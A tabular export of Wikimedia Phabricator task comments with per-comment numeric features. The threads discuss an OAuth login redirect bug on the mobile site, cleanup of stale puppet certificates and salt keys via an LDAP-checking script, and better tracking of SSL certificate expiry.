To get it to work, I afterwards repeat step 1 and 2 and will be taken to the proper Alow-dialog (on desktop site) without having to log in again.",,,1442439942,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,1.0,2.0,5.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,5.0,14.0,1.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.185567010309278,0.6701030927835051,"How I did:
# Go to URL
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)

----

To get it to work, I afterwards repeat step 1 and 2 and will be taken to the proper Alow-dialog (on desktop site) without having to log in again."
528931,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)",,,1442439417,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.1186440677966103,0.6949152542372882,"How I did:
# Go to URL
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
# You are now redirected to the mobile site (screenshot above)"
528930,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)",,,1442439378,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,14.0,2.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8823529411764706,0.6666666666666666,"How I did:
# Go to URL
# click the link ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)"
528929,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click the link in ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)",,,1442439371,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,13.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,2.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8653846153846154,0.6538461538461539,"How I did:
# Go to URL
# click the link in ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)"
528928,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click in the link in ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)",,,1442439352,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,2.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.849056603773585,0.6415094339622641,"How I did:
# Go to URL
# click in the link in ""log in here""
# Log in. (You should see the desktop view of the log in screen)
# You are now redirected to the mobile site (screenshot above)"
528927,Failure to OAuth after login on mobile,"How I did:
# Go to https://tools.wmflabs.org/wikidata-game/
# click in the link in ""log in here""
# Log in. (You should see the desktop view of the og in screen)
# You are now redirected to the mobile site (screenshot above)",,,1442439337,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,2.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.830188679245283,0.660377358490566,"How I did:
# Go to URL
# click in the link in ""log in here""
# Log in. (You should see the desktop view of the og in screen)
# You are now redirected to the mobile site (screenshot above)"
528926,Failure to OAuth after login on mobile,"Can't reproduce (either on desktop or on an Android phone):
* go to https://tools.wmflabs.org/wikidata-game/ in private browsing mode
* click in the link in ""//log in here//""
* edit the url from www.mediawiki.org to m.mediawiki.org
* log in
* authorization dialog shows up as expected.",,,1442439096,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.732142857142857,0.7142857142857143,"Can't reproduce (either on desktop or on an Android phone):
* go to URL in private browsing mode
* click in the link in ""//log in here//""
* edit the url from www.mediawiki.org to m.mediawiki.org
* log in
* authorization dialog shows up as expected."
528921,Failure to OAuth after login on mobile,"The error message is `centralauth-error-nologinattempt` (""//No active login attempt is in progress for your session.//""). ",,,1442438462,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.9,"The error message is CODE (""//No active login attempt is in progress for your session.//""). "
528885,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.

I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as public.",,,1442436524,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,12.0,12.0,1.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.1940298507462686,0.6865671641791045,"QUOTE
QUOTE

I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as public."
528880,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.

I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open.",,,1442436430,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,12.0,10.0,1.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.1641791044776117,0.6865671641791045,"QUOTE
QUOTE

I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open."
528879,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.

Itried first to remove the security, by etting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open.",,,1442436407,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,2.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,11.0,3.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.196969696969697,0.696969696969697,"QUOTE
QUOTE

Itried first to remove the security, by etting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open."
528862,Failure to OAuth after login on mobile,"@Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.",,,1442435531,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,18.0,2.0,2.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.727272727272727,0.8863636363636364,"SCREEN_NAME: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want."
112524,check that puppet certs/salt keys are deleted when they should be,"Moving comments from now closed T99213 as this is really another ticket.

So the reason that keys don't get deleted from salt via this script when the instance is deleted is that (some of) them stay around in ldap. Is that intentional? Example: https://wikitech.wikimedia.org/wiki/Nova_Resource:Kilotest115.testlabs.eqiad.wmflabs

Additionally, old-style keys without the project name don't get removed by the script because that hostname is in the ""associated domain"" field and hence gets found during an ldap lookup. Do we want that?",Medium,50.0,1442235267,1505473585.0,PHID-USER-jtxavgb3caz53o45csni,False,PHID-USER-abszjqutasfjxgagymds,False,PHID-TASK-apxswrbl52g7aact3ao6,task_description,declined,True,c3,3,True,False,False,10,True,1.0,0.0,0.0,1.0,2.0,5.0,4.0,1.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,19.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,6.0,5.0,8.0,3.0,1.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,1.0,1.0,1.0,1.0,1.0,0.0,3.9894736842105263,0.7263157894736842,"Moving comments from now closed T99213 as this is really another ticket.

So the reason that keys don't get deleted from salt via this script when the instance is deleted is that (some of) them stay around in ldap. Is that intentional? Example: URL

Additionally, old-style keys without the project name don't get removed by the script because that hostname is in the ""associated domain"" field and hence gets found during an ldap lookup. Do we want that?"
931058,check that puppet certs/salt keys are deleted when they should be,Salt is being removed.,,,1505473585,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-apxswrbl52g7aact3ao6,task_subcomment,,True,c3,3,True,,,115,True,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Salt is being removed.
526678,check that puppet certs/salt keys are deleted when they should be,"Regarding the latter question, I assume that there are scripts out there that rely on `$hostname.eqiad.wmflabs` resolving, so, //if//, I would be more comfortable with not generating the alias for newly launched instances and see what breaks, and then after some time remove them from LDAP.

But AFAICS you already query LDAP directly (`modules/puppetmaster/templates/certcleaner.py.erb`):

```
        # Erase keys that don't correspond to ldap.
        query = ""(&(objectclass=puppetclient)(|(dc="" + hostname + "")(cnamerecord="" + hostname + "")(associateddomain="" + hostname + "")))""
        host_info = ds.search_s(basedn, ldap.SCOPE_SUBTREE, query)
        if not host_info:
            sys.stderr.write('Removing stale cert %s' % hostname)
            try:
                subprocess.check_call(['/usr/bin/puppet', 'cert', 'clean', hostname])
            except subprocess.CalledProcessError:
                if not signed:
                    requestpath = '/var/lib/puppet/server/ssl/ca/requests/%s.pem' % hostname
                    sys.stderr.write('Failed to remove stale cert %s -- directly removing %s\n' % (hostname, requestpath))
                    try:
                        subprocess.check_call(['rm', '-f', requestpath])
                    except subprocess.CalledProcessError:
                        sys.stderr.write('Failed to rm %s, out of ideas\n' % requestpath)
```

Couldn't you then not just match on the `dn` only?

```
dn: dc=tools-bastion-01.tools.eqiad.wmflabs,ou=hosts,dc=wikimedia,dc=org
        aRecord: 10.68.17.228
        objectClass: domainrelatedobject
        objectClass: dnsdomain
        objectClass: puppetclient
        objectClass: domain
        objectClass: dcobject
        objectClass: top
        puppetClass: role::labs::instance
        puppetClass: role::labs::tools::bastion
        associatedDomain: i-000009aa.eqiad.wmflabs
        associatedDomain: tools-bastion-01.eqiad.wmflabs
        associatedDomain: i-000009aa.tools.eqiad.wmflabs
        associatedDomain: tools-bastion-01.tools.eqiad.wmflabs
        l: eqiad
        dc: tools-bastion-01.tools.eqiad.wmflabs
        puppetVar: realm=labs
        puppetVar: instancename=tools-bastion-01
        puppetVar: instanceproject=tools
```

(BTW, I don't see any `cnamerecord` in `ldaplist -l hosts`.)",,,1442242841,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-apxswrbl52g7aact3ao6,task_subcomment,,True,c3,3,True,,,10,True,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,3.0,14.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,10.0,8.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,1.0,4.0,1.0,0.0,0.0,4.597222222222222,0.7916666666666666,"Regarding the latter question, I assume that there are scripts out there that rely on CODE resolving, so, //if//, I would be more comfortable with not generating the alias for newly launched instances and see what breaks, and then after some time remove them from LDAP.

But AFAICS you already query LDAP directly (CODE):

``CODE`CODEdnCODE`CODE`CODEcnamerecordCODEldaplist -l hosts`.)"
112521,Track/notify cert expiries better,"1. Our current GlobalSign certs are generally configured with a single individual's email address to notify us on expiry.
2. Even if that's fixed, we shouldn't be relying on them to notify us.  We should have our own tracking.

We have check_sslxNN in icinga which is checking at least the critical unified cert, which (in addition to other things) tracks cert expiry, but we haven't actually extended that kind of checking to every cert we're using (notably, we missed the impending loss of wmfusercontent.org).  We have several smaller certs like that, some of which are even hosted in 3rd party services as well.  Should we monitor the 3rd parties in these cases as well?

It might make more sense if we had some generic system in place for tracking long-term expiration events in general, so that we could enter every cert we purchase into that system when it's purchased.  Such a system could be useful for other purposes as well (warranties, contracts, etc?).  Is there an existing thing like this available already?",Medium,50.0,1442234127,1508773818.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ao3bxbvapnkhonosudfs,task_description,resolved,True,c3,3,True,True,False,10,True,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,7.333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,1.0,0.0,0.0,0.3333333333333333,5.333333333333333,0.0,5.666666666666667,10.0,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,4.333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,11.666666666666666,0.6666666666666666,2.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,2.3333333333333335,3.6666666666666665,2.3333333333333335,0.3333333333333333,7.666666666666667,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.666666666666667,10.0,1.0,1.3333333333333333,0.0,0.0,6.666666666666667,0.0,1.3333333333333333,1.3333333333333333,1.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,2.0,3.9908059467918626,0.7803860198226396,"1. Our current GlobalSign certs are generally configured with a single individual's email address to notify us on expiry.
2. Even if that's fixed, we shouldn't be relying on them to notify us.  We should have our own tracking.

We have check_sslxNN in icinga which is checking at least the critical unified cert, which (in addition to other things) tracks cert expiry, but we haven't actually extended that kind of checking to every cert we're using (notably, we missed the impending loss of wmfusercontent.org).  We have several smaller certs like that, some of which are even hosted in 3rd party services as well.  Should we monitor the 3rd parties in these cases as well?

It might make more sense if we had some generic system in place for tracking long-term expiration events in general, so that we could enter every cert we purchase into that system when it's purchased.  Such a system could be useful for other purposes as well (warranties, contracts, etc?).  Is there an existing thing like this available already?"
952099,Track/notify cert expiries better,"There are (seperate) Icinga checks for the *.planet.wikimedia.org and the *.wmfusercontent.org cert that recently alerted on upcoming expiry of the main unified cert. They have been added before these certs were added to the unified cert i believe. Maybe that means they should be removed as redundant. (but they also serve as https check in general, it just additionally checks the cert, so maybe not :)",,,1508778072,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,0.0,0.0,0.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,11.0,11.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,5.0,5.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4605263157894735,0.7631578947368421,"There are (seperate) Icinga checks for the *.planet.wikimedia.org and the *.wmfusercontent.org cert that recently alerted on upcoming expiry of the main unified cert. They have been added before these certs were added to the unified cert i believe. Maybe that means they should be removed as redundant. (but they also serve as https check in general, it just additionally checks the cert, so maybe not :)"
952022,Track/notify cert expiries better,All certificates are now tracked in icinga so I think this can indeed be resolved.  (We've also transitioned over to LE for the bulk of non-wildcards!),,,1508772032,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,18.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,1.0,All certificates are now tracked in icinga so I think this can indeed be resolved.  (We've also transitioned over to LE for the bulk of non-wildcards!)
952021,Track/notify cert expiries better,It seems like we've made a lot of progress on this front since late 2015.  Should we consider this resolved now? @Robh?,,,1508771934,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,16.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,16.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.16,0.92,It seems like we've made a lot of progress on this front since late 2015.  Should we consider this resolved now?SCREEN_NAME?
546331,Track/notify cert expiries better,"We've recently changed the policy on ordering ssl certificates to put in the ssl_renewals alias for all ssl cert info.

